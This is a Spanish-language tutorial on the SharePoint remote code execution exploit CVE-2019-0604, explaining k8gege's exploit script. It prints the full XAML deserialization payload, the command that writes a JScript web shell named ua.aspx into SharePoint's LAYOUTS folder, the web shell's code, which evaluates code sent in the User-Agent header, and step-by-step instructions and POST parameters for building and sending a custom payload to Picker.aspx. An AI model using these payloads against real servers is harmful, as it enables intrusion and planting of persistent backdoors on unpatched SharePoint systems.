
Explicación detallada del código del exploit RCE de SharePoint cve-2019-0604-exp.py de k8gege y creación de tu propio payload.

Script de k8gege https://github.com/k8gege/CVE-2019-0604
Siendo honestos, el script py de k8gege es un poco llamativo: tiene un montón de cadenas hexadecimales divididas en payload1, 2, 3, qué mal.
El payload que el script Python envía por POST de forma remota, tras la deserialización, es un cuerpo de datos XML.
<ResourceDictionary
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:System="clr-namespace:System;assembly=mscorlib"
xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">
<ObjectDataProvider x:Key="LaunchCalch" ObjectType="{x:Type Diag:Process}" MethodName="Start">
<ObjectDataProvider.MethodParameters>
<System:String>cmd</System:String>
<System:String>/c echo ^<%@ Page Language="Jscript" %^>^<%var pwd="tom";var uastr=Request.UserAgent;if (uastr.Substring(0, uastr.IndexOf("==="))== pwd) {var code=uastr.Replace(pwd+"===","");eval(code,"unsafe"); };%^> > "%CommonProgramFiles%\\Microsoft Shared\\Web Server Extensions\\15\\TEMPLATE\\LAYOUTS\\ua.aspx" </System:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>

Es decir, ejecuta remotamente el comando echo y escribe un archivo ua.aspx en el directorio de plantillas LAYOUTS de SharePoint en el servidor.
cmd /c echo ^<%@ Page Language="Jscript" %^>^<%var pwd="tom";var uastr=Request.UserAgent;if (uastr.Substring(0, uastr.IndexOf("==="))== pwd) {var code=uastr.Replace(pwd+"===","");eval(code,"unsafe"); };%^> > "%CommonProgramFiles%\\Microsoft Shared\\Web Server Extensions\\15\\TEMPLATE\\LAYOUTS\\ua.aspx"
Genera un archivo .asxp, un troyano de una sola línea para UA exclusivo de K8 Feidao; OK, shell conseguida.
<%@ Page Language="Jscript" %>
<%
var pwd="tom";
var uastr=Request.UserAgent;
if (uastr.Substring(0, uastr.IndexOf("==="))== pwd)
{
var code=uastr.Replace(pwd+"===","");
eval(code,"unsafe");
};
%>
Si quieres crear tu propio payload para ejecutar comandos de forma remota, sigue estos pasos:
Descarga el programa compilado desde https://github.com/boxhg/CVE-2019-0604/releases, descomprímelo y ejecuta CVE20190604Forms.exe
Escribe el comando en el cuadro de texto Cmd y haz clic en el botón “Update XML”; el comando se combinará en XML.
Haz clic en “EncodeEntity”; el programa serializa la cadena XML en un objeto y dispara la ejecución del payload. La cadena serializada se muestra en el cuadro de texto “payload”.
__cp087135009700370047005600d600e2004400160047001600e20035005600270067009600360056003700e2009400e600470056002700e6001600c600e2005400870007001600e60046005600460075002700160......
Esas cadenas como "__cp...." son el payload. Cópialas a cve-2019-0604-exp.py y modifica/reemplaza el payload original de k8.
Al enviar el payload a Picker.aspx, hay que incluir otros parámetros. Puedes obtener los parámetros relacionados con la herramienta proxy Burp y luego pasar el valor del payload a ctl00$PlaceHolderDialogBodySection$ctl05$hiddenSpanData
...
values = {
'__REQUESTDIGEST':YOUR_REQUESTDIGEST,
'__EVENTTARGET':'',
'__EVENTARGUMENT':'',
'__spPickerHasReturnValue':'',
'__spPickerReturnValueHolder':'',
'__VIEWSTATE':YOUR_VIEWSTATE,
'__VIEWSTATEGENERATOR':'',
'ctl00$PlaceHolderDialogBodySection$ctl07$queryTextBox':'',
'ctl00$PlaceHolderDialogBodySection$ctl05$hiddenSpanData':**YOUR_PayloadData**,
'ctl00$PlaceHolderDialogBodySection$ctl05$OriginalEntities':'<Entities />',
'ctl00$PlaceHolderDialogBodySection$ctl05$HiddenEntityKey':'',
'ctl00$PlaceHolderDialogBodySection$ctl05$HiddenEntityDisplayText':'',
'ctl00$PlaceHolderDialogBodySection$ctl05$downlevelTextBox':' ',
'__CALLBACKID':'ctl00$PlaceHolderDialogBodySection$ctl07',
'__CALLBACKPARAM':';#;#11;#;#;#',
'__EVENTVALIDATION':YOUR_EVENTVALIDATION
}
data = urllib.urlencode(values)
...